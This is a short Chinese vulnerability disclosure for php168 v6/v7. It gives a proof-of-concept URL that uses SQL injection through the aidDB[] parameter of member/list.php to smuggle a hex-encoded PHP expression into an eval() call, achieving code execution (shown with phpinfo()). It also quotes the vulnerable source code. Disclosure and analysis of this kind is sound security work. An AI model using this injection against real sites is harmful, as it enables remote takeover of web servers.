php168 v6/v7鸡肋Getshell安全问题

网络安全 2021-07-03 10:02www.168986.cn网络安全知识

  刚搜了一下貌似和以前一个漏洞是一个问题。有点鸡肋,需要条件

  1.网站配置为文章生成真静态

  2.允许注册会员

  给出v6的测试代码,提交后执行phpinfo(),v7原理一样,只是数据库字段数不一样。

  member/list.php?step=2&Type=delete&aidDB[]=-1)%20union%20select%201,2,3,4,5,6,7,8,9,10,1,2,3,4,15,6,7,8,9,10,1,2,3,4,25,6,7,8,9,10,1,2,3,4,35,6,7,8,9,10,1,2,3,4,45,6,7,8,9,10,1,2,3,4,0x7B247B706870696E666F28297D7D,6,7%23

  0x01 漏洞在make_more_article_html这个函数

  function make_more_article_html($ebackurl='/',$type='',$aidDB=''){

  global $db,$pre,$webdb,$webdb,$showHtml_Type;

  if($webdb[NewsMakeHtml]!=1||$aidDB=='') // $webdb[NewsMakeHtml] 真静态

  { return ;}

  ...

  $query = $db->query("SELECT A.,B.bencandy_html,B.list_html,D.aid FROM {$pre}article_db D LEFT JOIN {$pre}article A ON D.aid=A.aid LEFT JOIN {$pre}sort B ON A.fid=B.fid WHERE D.aid IN ($string)");

  while($rs = $db->fetch_array($query)){

  ...

  $filename_b=$rs[bencandy_html];

  ...

  eval("\$showurl=\"$filename_b\";");

  ...

  0x02 在 \member\list.php中调用了该漏洞函数

  if($step==2){

  ...

  if($Type=='delete'){

  make_more_article_html("$FROMURL","del_0",$aidDB);

  by k4shifz[w.s.t]

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